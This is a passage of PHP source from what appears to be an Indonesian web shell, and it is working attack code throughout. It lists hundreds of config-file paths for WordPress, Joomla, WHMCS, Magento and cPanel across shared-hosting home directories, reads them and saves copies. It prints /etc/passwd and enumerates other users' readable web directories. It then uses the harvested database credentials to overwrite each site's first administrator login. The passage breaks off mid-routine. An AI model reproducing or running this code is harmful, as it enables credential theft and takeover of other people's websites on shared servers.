  1607. "/home1/$user_cox/public_html/cms/wp-config.php" =>
  1608.  
  1609. "WordPressCms",
  1610. "/home1/$user_cox/public_html/Main/wp-config.php" =>
  1611.  
  1612. "WordPressMain",
  1613. "/home1/$user_cox/public_html/MAIN/wp-config.php" =>
  1614.  
  1615. "WordPressMain",
  1616. "/home1/$user_cox/public_html/main/wp-config.php" =>
  1617.  
  1618. "WordPressMain",
  1619. "/home1/$user_cox/public_html/Blog/wp-config.php" =>
  1620.  
  1621. "WordPressBlog",
  1622. "/home1/$user_cox/public_html/BLOG/wp-config.php" =>
  1623.  
  1624. "WordPressBlog",
  1625. "/home1/$user_cox/public_html/blog/wp-config.php" =>
  1626.  
  1627. "WordPressBlog",
  1628. "/home1/$user_cox/public_html/Blogs/wp-config.php"
  1629.  
  1630. => "WordPressBlogs",
  1631. "/home1/$user_cox/public_html/BLOGS/wp-config.php"
  1632.  
  1633. => "WordPressBlogs",
  1634. "/home1/$user_cox/public_html/blogs/wp-config.php"
  1635.  
  1636. => "WordPressBlogs",
  1637. "/home1/$user_cox/public_html/beta/wp-config.php" =>
  1638.  
  1639. "WordPressBeta",
  1640. "/home1/$user_cox/public_html/Beta/wp-config.php" =>
  1641.  
  1642. "WordPressBeta",
  1643. "/home1/$user_cox/public_html/BETA/wp-config.php" =>
  1644.  
  1645. "WordPressBeta",
  1646. "/home1/$user_cox/public_html/PRESS/wp-config.php"
  1647.  
  1648. => "WordPressPress",
  1649. "/home1/$user_cox/public_html/Press/wp-config.php"
  1650.  
  1651. => "WordPressPress",
  1652. "/home1/$user_cox/public_html/press/wp-config.php"
  1653.  
  1654. => "WordPressPress",
  1655. "/home1/$user_cox/public_html/Wp/wp-config.php" =>
  1656.  
  1657. "WordPressWp",
  1658. "/home1/$user_cox/public_html/wp/wp-config.php" =>
  1659.  
  1660. "WordPressWp",
  1661. "/home1/$user_cox/public_html/WP/wp-config.php" =>
  1662.  
  1663. "WordPressWP",
  1664. "/home1/$user_cox/public_html/portal/wp-config.php"
  1665.  
  1666. => "WordPressPortal",
  1667. "/home1/$user_cox/public_html/PORTAL/wp-config.php"
  1668.  
  1669. => "WordPressPortal",
  1670. "/home1/$user_cox/public_html/Portal/wp-config.php"
  1671.  
  1672. => "WordPressPortal",
  1673.  
  1674.  
  1675. "/home2/$user_cox/.my.cnf" => "cpanel",
  1676. "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1677. "/home2/$user_cox/public_html/bw-configs/config.ini"
  1678.  
  1679. => "BosWeb",
  1680. "/home2/$user_cox/public_html/config/koneksi.php" =>
  1681.  
  1682. "Lokomedia",
  1683.  
  1684.  
  1685. "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1686.  
  1687.  
  1688. "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1689.  
  1690.  
  1691. "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1692. "/home2/$user_cox/public_html/forum/config.php" =>
  1693.  
  1694. "phpBB",
  1695.  
  1696.  
  1697. "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1698.  
  1699.  
  1700. "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1701. "/home2/$user_cox/public_html/app/etc/local.xml" =>
  1702.  
  1703. "Magento",
  1704. "/home2/$user_cox/public_html/admin/config.php" =>
  1705.  
  1706. "OpenCart",
  1707. "/home2/$user_cox/public_html/slconfig.php" =>
  1708.  
  1709. "Sitelok",
  1710.  
  1711.  
  1712. "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1713.  
  1714.  
  1715. "/home2/$user_cox/public_html/whm/configuration.php"
  1716.  
  1717. => "WHMCS",
  1718.  
  1719.  
  1720. "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1721.  
  1722.  
  1723. "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1724.  
  1725.  
  1726. "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1727.  
  1728.  
  1729. "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1730. "/home2/$user_cox/public_html/submitticket.php" =>
  1731.  
  1732. "WHMCS",
  1733. "/home2/$user_cox/public_html/configuration.php" =>
  1734.  
  1735. "Joomla",
  1736.  
  1737.  
  1738. "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1739.  
  1740.  
  1741. "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1742.  
  1743.  
  1744. "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1745.  
  1746.  
  1747. "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1748.  
  1749.  
  1750. "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1751.  
  1752.  
  1753. "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1754. "/home2/$user_cox/public_html/NEW/configuration.php"
  1755.  
  1756. => "JoomlaNew",
  1757. "/home2/$user_cox/public_html/New/configuration.php"
  1758.  
  1759. => "JoomlaNew",
  1760. "/home2/$user_cox/public_html/new/configuration.php"
  1761.  
  1762. => "JoomlaNew",
  1763.  
  1764.  
  1765. "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1766.  
  1767.  
  1768. "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1769.  
  1770.  
  1771. "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1772. "/home2/$user_cox/public_html/Cms/configuration.php"
  1773.  
  1774. => "JoomlaCms",
  1775. "/home2/$user_cox/public_html/CMS/configuration.php"
  1776.  
  1777. => "JoomlaCms",
  1778. "/home2/$user_cox/public_html/cms/configuration.php"
  1779.  
  1780. => "JoomlaCms",
  1781.  
  1782.  
  1783. "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1784.  
  1785.  
  1786. "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1787.  
  1788.  
  1789. "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1790.  
  1791.  
  1792. "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1793.  
  1794.  
  1795. "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1796.  
  1797.  
  1798. "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1799.  
  1800.  
  1801. "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1802.  
  1803.  
  1804. "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1805.  
  1806.  
  1807. "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1808.  
  1809.  
  1810. "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1811.  
  1812.  
  1813. "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1814.  
  1815.  
  1816. "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1817.  
  1818.  
  1819. "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1820.  
  1821.  
  1822. "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1823.  
  1824.  
  1825. "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1826. "/home2/$user_cox/public_html/Wp/configuration.php"
  1827.  
  1828. => "JoomlaWp",
  1829. "/home2/$user_cox/public_html/wp/configuration.php"
  1830.  
  1831. => "JoomlaWp",
  1832. "/home2/$user_cox/public_html/WP/configuration.php"
  1833.  
  1834. => "JoomlaWP",
  1835.  
  1836.  
  1837. "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1838.  
  1839.  
  1840. "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1841.  
  1842.  
  1843. "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1844.  
  1845.  
  1846. "/home2/$user_cox/public_html/wp-config.php" =>
  1847.  
  1848. "WordPress",
  1849.  
  1850.  
  1851. "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1852.  
  1853.  
  1854. "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1855.  
  1856.  
  1857. "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1858. "/home2/$user_cox/public_html/Home/wp-config.php" =>
  1859.  
  1860. "WordPressHome",
  1861. "/home2/$user_cox/public_html/HOME/wp-config.php" =>
  1862.  
  1863. "WordPressHome",
  1864. "/home2/$user_cox/public_html/home/wp-config.php" =>
  1865.  
  1866. "WordPressHome",
  1867. "/home2/$user_cox/public_html/NEW/wp-config.php" =>
  1868.  
  1869. "WordPressNew",
  1870. "/home2/$user_cox/public_html/New/wp-config.php" =>
  1871.  
  1872. "WordPressNew",
  1873. "/home2/$user_cox/public_html/new/wp-config.php" =>
  1874.  
  1875. "WordPressNew",
  1876. "/home2/$user_cox/public_html/News/wp-config.php" =>
  1877.  
  1878. "WordPressNews",
  1879. "/home2/$user_cox/public_html/NEWS/wp-config.php" =>
  1880.  
  1881. "WordPressNews",
  1882. "/home2/$user_cox/public_html/news/wp-config.php" =>
  1883.  
  1884. "WordPressNews",
  1885. "/home2/$user_cox/public_html/Cms/wp-config.php" =>
  1886.  
  1887. "WordPressCms",
  1888. "/home2/$user_cox/public_html/CMS/wp-config.php" =>
  1889.  
  1890. "WordPressCms",
  1891. "/home2/$user_cox/public_html/cms/wp-config.php" =>
  1892.  
  1893. "WordPressCms",
  1894. "/home2/$user_cox/public_html/Main/wp-config.php" =>
  1895.  
  1896. "WordPressMain",
  1897. "/home2/$user_cox/public_html/MAIN/wp-config.php" =>
  1898.  
  1899. "WordPressMain",
  1900. "/home2/$user_cox/public_html/main/wp-config.php" =>
  1901.  
  1902. "WordPressMain",
  1903. "/home2/$user_cox/public_html/Blog/wp-config.php" =>
  1904.  
  1905. "WordPressBlog",
  1906. "/home2/$user_cox/public_html/BLOG/wp-config.php" =>
  1907.  
  1908. "WordPressBlog",
  1909. "/home2/$user_cox/public_html/blog/wp-config.php" =>
  1910.  
  1911. "WordPressBlog",
  1912. "/home2/$user_cox/public_html/Blogs/wp-config.php"
  1913.  
  1914. => "WordPressBlogs",
  1915. "/home2/$user_cox/public_html/BLOGS/wp-config.php"
  1916.  
  1917. => "WordPressBlogs",
  1918. "/home2/$user_cox/public_html/blogs/wp-config.php"
  1919.  
  1920. => "WordPressBlogs",
  1921. "/home2/$user_cox/public_html/beta/wp-config.php" =>
  1922.  
  1923. "WordPressBeta",
  1924. "/home2/$user_cox/public_html/Beta/wp-config.php" =>
  1925.  
  1926. "WordPressBeta",
  1927. "/home2/$user_cox/public_html/BETA/wp-config.php" =>
  1928.  
  1929. "WordPressBeta",
  1930. "/home2/$user_cox/public_html/PRESS/wp-config.php"
  1931.  
  1932. => "WordPressPress",
  1933. "/home2/$user_cox/public_html/Press/wp-config.php"
  1934.  
  1935. => "WordPressPress",
  1936. "/home2/$user_cox/public_html/press/wp-config.php"
  1937.  
  1938. => "WordPressPress",
  1939. "/home2/$user_cox/public_html/Wp/wp-config.php" =>
  1940.  
  1941. "WordPressWp",
  1942. "/home2/$user_cox/public_html/wp/wp-config.php" =>
  1943.  
  1944. "WordPressWp",
  1945. "/home2/$user_cox/public_html/WP/wp-config.php" =>
  1946.  
  1947. "WordPressWP",
  1948. "/home2/$user_cox/public_html/portal/wp-config.php"
  1949.  
  1950. => "WordPressPortal",
  1951. "/home2/$user_cox/public_html/PORTAL/wp-config.php"
  1952.  
  1953. => "WordPressPortal",
  1954. "/home2/$user_cox/public_html/Portal/wp-config.php"
  1955.  
  1956. => "WordPressPortal",
  1957. "/home3/$user_cox/.my.cnf" => "cpanel",
  1958. "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1959. "/home3/$user_cox/public_html/bw-configs/config.ini"
  1960.  
  1961. => "BosWeb",
  1962. "/home3/$user_cox/public_html/config/koneksi.php" =>
  1963.  
  1964. "Lokomedia",
  1965.  
  1966.  
  1967. "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1968.  
  1969.  
  1970. "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1971.  
  1972.  
  1973. "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1974. "/home3/$user_cox/public_html/forum/config.php" =>
  1975.  
  1976. "phpBB",
  1977.  
  1978.  
  1979. "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1980.  
  1981.  
  1982. "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1983. "/home3/$user_cox/public_html/app/etc/local.xml" =>
  1984.  
  1985. "Magento",
  1986. "/home3/$user_cox/public_html/admin/config.php" =>
  1987.  
  1988. "OpenCart",
  1989. "/home3/$user_cox/public_html/slconfig.php" =>
  1990.  
  1991. "Sitelok",
  1992.  
  1993.  
  1994. "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1995.  
  1996.  
  1997. "/home3/$user_cox/public_html/whm/configuration.php"
  1998.  
  1999. => "WHMCS",
  2000.  
  2001.  
  2002. "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2003.  
  2004.  
  2005. "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2006.  
  2007.  
  2008. "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2009.  
  2010.  
  2011. "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2012. "/home3/$user_cox/public_html/submitticket.php" =>
  2013.  
  2014. "WHMCS",
  2015. "/home3/$user_cox/public_html/configuration.php" =>
  2016.  
  2017. "Joomla",
  2018.  
  2019.  
  2020. "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2021.  
  2022.  
  2023. "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2024.  
  2025.  
  2026. "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  2027.  
  2028.  
  2029. "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2030.  
  2031.  
  2032. "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2033.  
  2034.  
  2035. "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2036. "/home3/$user_cox/public_html/NEW/configuration.php"
  2037.  
  2038. => "JoomlaNew",
  2039. "/home3/$user_cox/public_html/New/configuration.php"
  2040.  
  2041. => "JoomlaNew",
  2042. "/home3/$user_cox/public_html/new/configuration.php"
  2043.  
  2044. => "JoomlaNew",
  2045.  
  2046.  
  2047. "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2048.  
  2049.  
  2050. "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2051.  
  2052.  
  2053. "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2054. "/home3/$user_cox/public_html/Cms/configuration.php"
  2055.  
  2056. => "JoomlaCms",
  2057. "/home3/$user_cox/public_html/CMS/configuration.php"
  2058.  
  2059. => "JoomlaCms",
  2060. "/home3/$user_cox/public_html/cms/configuration.php"
  2061.  
  2062. => "JoomlaCms",
  2063.  
  2064.  
  2065. "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2066.  
  2067.  
  2068. "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2069.  
  2070.  
  2071. "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2072.  
  2073.  
  2074. "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2075.  
  2076.  
  2077. "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2078.  
  2079.  
  2080. "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2081.  
  2082.  
  2083. "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2084.  
  2085.  
  2086. "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2087.  
  2088.  
  2089. "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2090.  
  2091.  
  2092. "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2093.  
  2094.  
  2095. "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2096.  
  2097.  
  2098. "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2099.  
  2100.  
  2101. "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2102.  
  2103.  
  2104. "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2105.  
  2106.  
  2107. "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2108. "/home3/$user_cox/public_html/Wp/configuration.php"
  2109.  
  2110. => "JoomlaWp",
  2111. "/home3/$user_cox/public_html/wp/configuration.php"
  2112.  
  2113. => "JoomlaWp",
  2114. "/home3/$user_cox/public_html/WP/configuration.php"
  2115.  
  2116. => "JoomlaWP",
  2117.  
  2118.  
  2119. "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2120.  
  2121.  
  2122. "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2123.  
  2124.  
  2125. "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  2126.  
  2127.  
  2128. "/home3/$user_cox/public_html/wp-config.php" =>
  2129.  
  2130. "WordPress",
  2131.  
  2132.  
  2133. "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2134.  
  2135.  
  2136. "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2137.  
  2138.  
  2139. "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  2140. "/home3/$user_cox/public_html/Home/wp-config.php" =>
  2141.  
  2142. "WordPressHome",
  2143. "/home3/$user_cox/public_html/HOME/wp-config.php" =>
  2144.  
  2145. "WordPressHome",
  2146. "/home3/$user_cox/public_html/home/wp-config.php" =>
  2147.  
  2148. "WordPressHome",
  2149. "/home3/$user_cox/public_html/NEW/wp-config.php" =>
  2150.  
  2151. "WordPressNew",
  2152. "/home3/$user_cox/public_html/New/wp-config.php" =>
  2153.  
  2154. "WordPressNew",
  2155. "/home3/$user_cox/public_html/new/wp-config.php" =>
  2156.  
  2157. "WordPressNew",
  2158. "/home3/$user_cox/public_html/News/wp-config.php" =>
  2159.  
  2160. "WordPressNews",
  2161. "/home3/$user_cox/public_html/NEWS/wp-config.php" =>
  2162.  
  2163. "WordPressNews",
  2164. "/home3/$user_cox/public_html/news/wp-config.php" =>
  2165.  
  2166. "WordPressNews",
  2167. "/home3/$user_cox/public_html/Cms/wp-config.php" =>
  2168.  
  2169. "WordPressCms",
  2170. "/home3/$user_cox/public_html/CMS/wp-config.php" =>
  2171.  
  2172. "WordPressCms",
  2173. "/home3/$user_cox/public_html/cms/wp-config.php" =>
  2174.  
  2175. "WordPressCms",
  2176. "/home3/$user_cox/public_html/Main/wp-config.php" =>
  2177.  
  2178. "WordPressMain",
  2179. "/home3/$user_cox/public_html/MAIN/wp-config.php" =>
  2180.  
  2181. "WordPressMain",
  2182. "/home3/$user_cox/public_html/main/wp-config.php" =>
  2183.  
  2184. "WordPressMain",
  2185. "/home3/$user_cox/public_html/Blog/wp-config.php" =>
  2186.  
  2187. "WordPressBlog",
  2188. "/home3/$user_cox/public_html/BLOG/wp-config.php" =>
  2189.  
  2190. "WordPressBlog",
  2191. "/home3/$user_cox/public_html/blog/wp-config.php" =>
  2192.  
  2193. "WordPressBlog",
  2194. "/home3/$user_cox/public_html/Blogs/wp-config.php"
  2195.  
  2196. => "WordPressBlogs",
  2197. "/home3/$user_cox/public_html/BLOGS/wp-config.php"
  2198.  
  2199. => "WordPressBlogs",
  2200. "/home3/$user_cox/public_html/blogs/wp-config.php"
  2201.  
  2202. => "WordPressBlogs",
  2203. "/home3/$user_cox/public_html/beta/wp-config.php" =>
  2204.  
  2205. "WordPressBeta",
  2206. "/home3/$user_cox/public_html/Beta/wp-config.php" =>
  2207.  
  2208. "WordPressBeta",
  2209. "/home3/$user_cox/public_html/BETA/wp-config.php" =>
  2210.  
  2211. "WordPressBeta",
  2212. "/home3/$user_cox/public_html/PRESS/wp-config.php"
  2213.  
  2214. => "WordPressPress",
  2215. "/home3/$user_cox/public_html/Press/wp-config.php"
  2216.  
  2217. => "WordPressPress",
  2218. "/home3/$user_cox/public_html/press/wp-config.php"
  2219.  
  2220. => "WordPressPress",
  2221. "/home3/$user_cox/public_html/Wp/wp-config.php" =>
  2222.  
  2223. "WordPressWp",
  2224. "/home3/$user_cox/public_html/wp/wp-config.php" =>
  2225.  
  2226. "WordPressWp",
  2227. "/home3/$user_cox/public_html/WP/wp-config.php" =>
  2228.  
  2229. "WordPressWP",
  2230. "/home3/$user_cox/public_html/portal/wp-config.php"
  2231.  
  2232. => "WordPressPortal",
  2233. "/home3/$user_cox/public_html/PORTAL/wp-config.php"
  2234.  
  2235. => "WordPressPortal",
  2236. "/home3/$user_cox/public_html/Portal/wp-config.php"
  2237.  
  2238. => "WordPressPortal"
  2239. );
  2240. foreach($grab_config as $config => $nama_config) {
  2241. $ambil_config = file_get_contents($config);
  2242. if($ambil_config == '') {
  2243. } else {
  2244. $file_config =
  2245.  
  2246. fopen("cox_config/$user_cox-$nama_config.txt","w");
  2247. fputs($file_config,$ambil_config);
  2248. }
  2249. }
  2250. }
  2251. }
  2252. echo "<center><a href='?dir=$dir/cox_config'><font
  2253.  
  2254. color=lime>Done</font></a></center>";
  2255. }else{
  2256.  
  2257. echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a
  2258.  
  2259. href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area'
  2260.  
  2261. rows='15' cols='60'>\n";
  2262. echo file_get_contents('/etc/passwd');
  2263. echo "</textarea><br><input type=\"submit\"
  2264.  
  2265. value=\"GassPoll\"></td></tr></center>\n";
  2266. }
  2267. } elseif($_GET['do'] == 'jumping') {
  2268. $i = 0;
  2269. echo "<pre><div class='margin: 5px auto;'>";
  2270. $etc = fopen("/etc/passwd", "r");
  2271. while($passwd = fgets($etc)) {
  2272. if($passwd == '' || !$etc) {
  2273. echo "<font color=red>Can't read /etc/passwd</font>";
  2274. } else {
  2275. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  2276. foreach($user_jumping[1] as $user_idx_jump) {
  2277. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  2278. if(is_readable($user_jumping_dir)) {
  2279. $i++;
  2280. $jrw = "[<font color=lime>R</font>] <a
  2281.  
  2282. href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2283. if(is_writable($user_jumping_dir)) {
  2284. $jrw = "[<font color=lime>RW</font>] <a
  2285.  
  2286. href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2287. }
  2288. echo $jrw;
  2289. $domain_jump = file_get_contents("/etc/named.conf");
  2290. if($domain_jump == '') {
  2291. echo " => ( <font color=red>gabisa ambil
  2292.  
  2293. nama domain nya</font> )<br>";
  2294. } else {
  2295. preg_match_all("#/var/named/(.*?).db#",
  2296.  
  2297. $domain_jump, $domains_jump);
  2298. foreach($domains_jump[1] as $dj) {
  2299. $user_jumping_url =
  2300.  
  2301. posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2302. $user_jumping_url =
  2303.  
  2304. $user_jumping_url['name'];
  2305. if($user_jumping_url ==
  2306.  
  2307. $user_idx_jump) {
  2308. echo " => ( <u>$dj</u>
  2309.  
  2310. )<br>";
  2311. break;
  2312. }
  2313. }
  2314. }
  2315. }
  2316. }
  2317. }
  2318. }
  2319. if($i == 0) {
  2320. } else {
  2321. echo "<br>Total ada ".$i." Kimcil di
  2322.  
  2323. ".gethostbyname($_SERVER['HTTP_HOST'])."";
  2324. }
  2325. echo "</div></pre>";
  2326. } elseif($_GET['do'] == 'auto_edit_user') {
  2327. if($_POST['hajar']) {
  2328. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  2329. echo "username atau password harus lebih dari 6 karakter";
  2330. } else {
  2331. $user_baru = $_POST['user_baru'];
  2332. $pass_baru = md5($_POST['pass_baru']);
  2333. $conf = $_POST['config_dir'];
  2334. $scan_conf = scandir($conf);
  2335. foreach($scan_conf as $file_conf) {
  2336. if(!is_file("$conf/$file_conf")) continue;
  2337. $config = file_get_contents("$conf/$file_conf");
  2338. if(preg_match("/JConfig|joomla/",$config)) {
  2339. $dbhost = ambilkata($config,"host = '","'");
  2340. $dbuser = ambilkata($config,"user = '","'");
  2341. $dbpass = ambilkata($config,"password = '","'");
  2342. $dbname = ambilkata($config,"db = '","'");
  2343. $dbprefix = ambilkata($config,"dbprefix = '","'");
  2344. $prefix = $dbprefix."users";
  2345. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2346. $db = mysql_select_db($dbname);
  2347. $q = mysql_query("SELECT * FROM $prefix ORDER BY id
  2348.  
  2349. ASC");
  2350. $result = mysql_fetch_array($q);
  2351. $id = $result['id'];
  2352. $site = ambilkata($config,"sitename = '","'");
  2353. $update = mysql_query("UPDATE $prefix SET
  2354.  
  2355. username='$user_baru',password='$pass_baru' WHERE id='$id'");
  2356. echo "Config => ".$file_conf."<br>";
  2357. echo "CMS => Joomla<br>";
  2358. if($site == '') {
  2359. echo "Sitename => <font color=red>error,
  2360.  
  2361. gabisa ambil nama domain nya</font><br>";
  2362. } else {
  2363. echo "Sitename => $site<br>";
  2364. }
  2365. if(!$update OR !$conn OR !$db) {
  2366. echo "Status => <font
  2367.  
  2368. color=red>".mysql_error()."</font><br><br>";
  2369. } else {
  2370. echo "Status => <font color=lime>sukses edit
  2371.  
  2372. user, silakan login dengan user & pass yang baru.</font><br><br>";
  2373. }
  2374. mysql_close($conn);
  2375. } elseif(preg_match("/WordPress/",$config)) {
  2376. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2377. $dbuser = ambilkata($config,"DB_USER', '","'");
  2378. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2379. $dbname = ambilkata($config,"DB_NAME', '","'");
  2380. $dbprefix = ambilkata($config,"table_prefix =
  2381.  
  2382. '","'");
  2383. $prefix = $dbprefix."users";
  2384. $option = $dbprefix."options";
  2385. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2386. $db = mysql_select_db($dbname);
  2387. $q = mysql_query("SELECT * FROM $prefix ORDER BY id
  2388.  
  2389. ASC");
  2390. $result = mysql_fetch_array($q);
  2391. $id = $result[ID];
  2392. $q2 = mysql_query("SELECT * FROM $option ORDER BY
  2393.  
  2394. option_id ASC");
  2395. $result2 = mysql_fetch_array($q2);
  2396. $target = $result2[option_value];
  2397. if($target == '') {
  2398. $url_target = "Login => <font
  2399.  
  2400. color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2401. } else {
  2402. $url_target = "Login => <a
  2403.  
  2404. href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  2405. }
  2406. $update = mysql_query("UPDATE $prefix SET
  2407.  
  2408. user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  2409. echo "Config => ".$file_conf."<br>";
  2410. echo "CMS => Wordpress<br>";
  2411. echo $url_target;
  2412. if(!$update OR !$conn OR !$db) {
  2413. echo "Status => <font
  2414.  
  2415. color=red>".mysql_error()."</font><br><br>";
  2416. } else {
  2417. echo "Status => <font color=lime>sukses edit
  2418.  
  2419. user, silakan login dengan user & pass yang baru.</font><br><br>";
  2420. }
  2421. mysql_close($conn);
  2422. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  2423. $dbhost =
  2424.  
  2425. ambilkata($config,"<host><![CDATA[","]]></host>");
  2426. $dbuser =
  2427.  
  2428. ambilkata($config,"<username><![CDATA[","]]></username>");
  2429. $dbpass =
  2430.  
  2431. ambilkata($config,"<password><![CDATA[","]]></password>");
  2432. $dbname =
  2433.  
  2434. ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  2435. $dbprefix =
  2436.  
  2437. ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  2438. $prefix = $dbprefix."admin_user";
  2439. $option = $dbprefix."core_config_data";
  2440. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2441. $db = mysql_select_db($dbname);
  2442. $q = mysql_query("SELECT * FROM $prefix ORDER BY
  2443.  
  2444. user_id ASC");
  2445. $result = mysql_fetch_array($q);
  2446. $id = $result[user_id];
  2447. $q2 = mysql_query("SELECT * FROM $option WHERE
  2448.  
  2449. path='web/secure/base_url'");
  2450. $result2 = mysql_fetch_array($q2);
  2451. $target = $result2[value];
  2452. if($target == '') {
  2453. $url_target = "Login => <font
  2454.  
  2455. color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2456. } else {
  2457. $url_target = "Login => <a
  2458.  
  2459. href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  2460. }
  2461. $update = mysql_query("UPDATE $prefix SET
  2462.  
  2463. username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2464. echo "Config => ".$file_conf."<br>";
  2465. echo "CMS => Magento<br>";
  2466. echo $url_target;
  2467. if(!$update OR !$conn OR !$db) {
  2468. echo "Status => <font
  2469.  
  2470. color=red>".mysql_error()."</font><br><br>";
  2471. } else {
